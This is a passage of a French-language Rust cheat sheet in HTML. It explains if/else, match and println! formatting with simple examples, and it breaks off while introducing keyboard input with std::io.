<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Exemple de else if</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> note </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">75</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> note </span><span class="token operator" style="color:#393A34">&gt;=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">90</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"A"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">else</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> note </span><span class="token operator" style="color:#393A34">&gt;=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">80</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"B"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">else</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> note </span><span class="token operator" style="color:#393A34">&gt;=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">70</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"C"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">else</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Échec"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="if-en-tant-quexpression"><code>if</code> en tant qu'expression<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#if-en-tant-quexpression" class="hash-link" aria-label="Lien direct vers if-en-tant-quexpression" title="Lien direct vers if-en-tant-quexpression" translate="no">​</a></h3>
<p>Une spécificité très intéressante de Rust : <code>if</code> est une <strong>expression</strong>, pas seulement une instruction. Cela signifie qu'on peut directement assigner son résultat à une variable.</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">if comme expression (remplace l'opérateur ternaire)</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> a </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> b </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">20</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> max </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> a </span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> b </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"> a </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">else</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"> b </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<p>C'est l'équivalent de l'opérateur ternaire <code>?:</code> du C, mais en plus lisible. Notez l'absence de <code>;</code> après <code>a</code> et <code>b</code> dans les branches — c'est ce qui en fait des expressions.</p>
<div class="theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>Cohérence des types</div><div class="admonitionContent_BuS1"><p>Toutes les branches d'un <code>if</code> utilisé comme expression doivent retourner <strong>le même type</strong>. Sinon le compilateur refusera de compiler.</p></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="le-match-équivalent-du-switch">Le <code>match</code> (équivalent du switch)<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#le-match-%C3%A9quivalent-du-switch" class="hash-link" aria-label="Lien direct vers le-match-équivalent-du-switch" title="Lien direct vers le-match-équivalent-du-switch" translate="no">​</a></h3>
<p>Le <code>match</code> est l'équivalent surpuissant du <code>switch-case</code> du C. Il permet de comparer une valeur à plusieurs motifs (patterns) et d'exécuter le code correspondant.</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Exemple de match simple</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> jour </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">3</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">match</span><span class="token plain"> jour </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=&gt;</span><span class="token plain"> </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Lundi"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token number" style="color:#36acaa">2</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=&gt;</span><span class="token plain"> </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Mardi"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token number" style="color:#36acaa">3</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=&gt;</span><span class="token plain"> </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Mercredi"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token number" style="color:#36acaa">4</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=&gt;</span><span class="token plain"> </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Jeudi"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token number" style="color:#36acaa">5</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=&gt;</span><span class="token plain"> </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Vendredi"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    _ </span><span class="token operator" style="color:#393A34">=&gt;</span><span class="token plain"> </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Week-end ou jour invalide"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<p>Le caractère <code>_</code> est un <em>wildcard</em> qui correspond à toutes les valeurs non couvertes (l'équivalent de <code>default</code> en C).</p>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>Exhaustivité</div><div class="admonitionContent_BuS1"><p>Contrairement au <code>switch</code> du C, le <code>match</code> doit être <strong>exhaustif</strong> : tous les cas possibles doivent être traités, sinon le code ne compile pas. C'est une sécurité énorme dans les gros programmes.</p></div></div>
<p>Le <code>match</code> peut aussi retourner une valeur (comme <code>if</code>) :</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">match comme expression</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> jour </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">3</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> nom </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">match</span><span class="token plain"> jour </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=&gt;</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"Lundi"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token number" style="color:#36acaa">2</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=&gt;</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"Mardi"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token number" style="color:#36acaa">3</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=&gt;</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"Mercredi"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    _ </span><span class="token operator" style="color:#393A34">=&gt;</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"Autre jour"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"{}"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> nom</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<p>On peut également matcher des intervalles ou plusieurs valeurs :</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Motifs avancés</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> n </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">5</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">match</span><span class="token plain"> n </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">2</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">3</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=&gt;</span><span class="token plain"> </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Petit"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain">     </span><span class="token comment" style="color:#999988;font-style:italic">// Ou logique</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token number" style="color:#36acaa">4</span><span class="token punctuation" style="color:#393A34">..=</span><span class="token number" style="color:#36acaa">6</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=&gt;</span><span class="token plain"> </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Moyen"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain">         </span><span class="token comment" style="color:#999988;font-style:italic">// Intervalle inclusif</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    _ </span><span class="token operator" style="color:#393A34">=&gt;</span><span class="token plain"> </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Grand"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="input--output">Input &amp; Output<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#input--output" class="hash-link" aria-label="Lien direct vers Input &amp; Output" title="Lien direct vers Input &amp; Output" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="la-macro-println">La macro <code>println!</code><a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#la-macro-println" class="hash-link" aria-label="Lien direct vers la-macro-println" title="Lien direct vers la-macro-println" translate="no">​</a></h3>
<p>En Rust, l'écriture sur la sortie standard se fait via la macro <code>println!</code> (notez le <code>!</code> qui indique qu'il s'agit d'une macro et non d'une fonction).</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Affichage simple</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Bonjour, monde !"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<p>Pour insérer des valeurs, on utilise les accolades <code>{}</code> comme <em>placeholders</em> :</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Affichage avec valeurs</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> age </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">25</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"J'ai {} ans."</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> age</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> prenom </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"Bastien"</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> age </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">30</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Je m'appelle {} et j'ai {} ans."</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> prenom</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> age</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<p>Depuis Rust 1.58, on peut directement interpoler les variables dans la chaîne :</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Interpolation directe</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> prenom </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"Bastien"</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> age </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">30</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Je m'appelle {prenom} et j'ai {age} ans."</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="les-spécificateurs-de-format">Les spécificateurs de format<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#les-sp%C3%A9cificateurs-de-format" class="hash-link" aria-label="Lien direct vers Les spécificateurs de format" title="Lien direct vers Les spécificateurs de format" translate="no">​</a></h3>
<p>Le système de format de Rust est différent du C : il n'y a pas un spécificateur par type, mais un système unifié à base de <strong>traits</strong>.</p>
<ul>
<li class=""><code>{}</code> — affichage standard (trait <code>Display</code>)</li>
<li class=""><code>{:?}</code> — affichage de débogage (trait <code>Debug</code>)</li>
<li class=""><code>{:#?}</code> — affichage de débogage "joli" (pretty-print)</li>
<li class=""><code>{:5}</code> — largeur minimale de 5</li>
<li class=""><code>{:.2}</code> — 2 décimales pour un flottant</li>
<li class=""><code>{:7.2}</code> — largeur 7 avec 2 décimales</li>
<li class=""><code>{:&lt;10}</code> — aligné à gauche sur 10 caractères</li>
<li class=""><code>{:&gt;10}</code> — aligné à droite sur 10 caractères</li>
<li class=""><code>{:^10}</code> — centré sur 10 caractères</li>
<li class=""><code>{:08}</code> — complété avec des zéros à gauche sur 8 caractères</li>
<li class=""><code>{:b}</code> — binaire</li>
<li class=""><code>{:o}</code> — octal</li>
<li class=""><code>{:x}</code> ou <code>{:X}</code> — hexadécimal (minuscules / majuscules)</li>
<li class=""><code>{:e}</code> ou <code>{:E}</code> — notation scientifique</li>
</ul>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Exemples de formatage</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"{:.3}"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">3.14159</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain">     </span><span class="token comment" style="color:#999988;font-style:italic">// 3.142</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"{:08}"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">42</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain">          </span><span class="token comment" style="color:#999988;font-style:italic">// 00000042</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"{:&gt;10}"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"Rust"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain">     </span><span class="token comment" style="color:#999988;font-style:italic">//       Rust</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"{:b}"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain">           </span><span class="token comment" style="color:#999988;font-style:italic">// 1010</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"{:#x}"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">255</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain">         </span><span class="token comment" style="color:#999988;font-style:italic">// 0xff</span><br></div></code></pre></div></div>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>print! vs println! vs eprintln!</div><div class="admonitionContent_BuS1"><ul>
<li class=""><code>print!</code> écrit sans saut de ligne</li>
<li class=""><code>println!</code> ajoute un <code>\n</code> à la fin</li>
<li class=""><code>eprintln!</code> écrit sur la sortie d'erreur standard (stderr)</li>
</ul></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="lire-une-entrée-utilisateur">Lire une entrée utilisateur<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#lire-une-entr%C3%A9e-utilisateur" class="hash-link" aria-label="Lien direct vers Lire une entrée utilisateur" title="Lien direct vers Lire une entrée utilisateur" translate="no">​</a></h3>
<p>C'est un peu plus verbeux qu'en C, mais bien plus sûr. Il faut importer le module <code>io</code> de la bibliothèque standard.</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Lecture d'une ligne au clavier</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">use</span><span class="token plain"> </span><span class="token namespace" style="opacity:0.7">std</span><span class="token namespace punctuation" style="opacity:0.7;color:#393A34">::</span><span class="token plain">io</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">//On importe la bibliothèque</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">fn</span><span class="token plain"> </span><span class="token function-definition function" style="color:#d73a49">main</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" 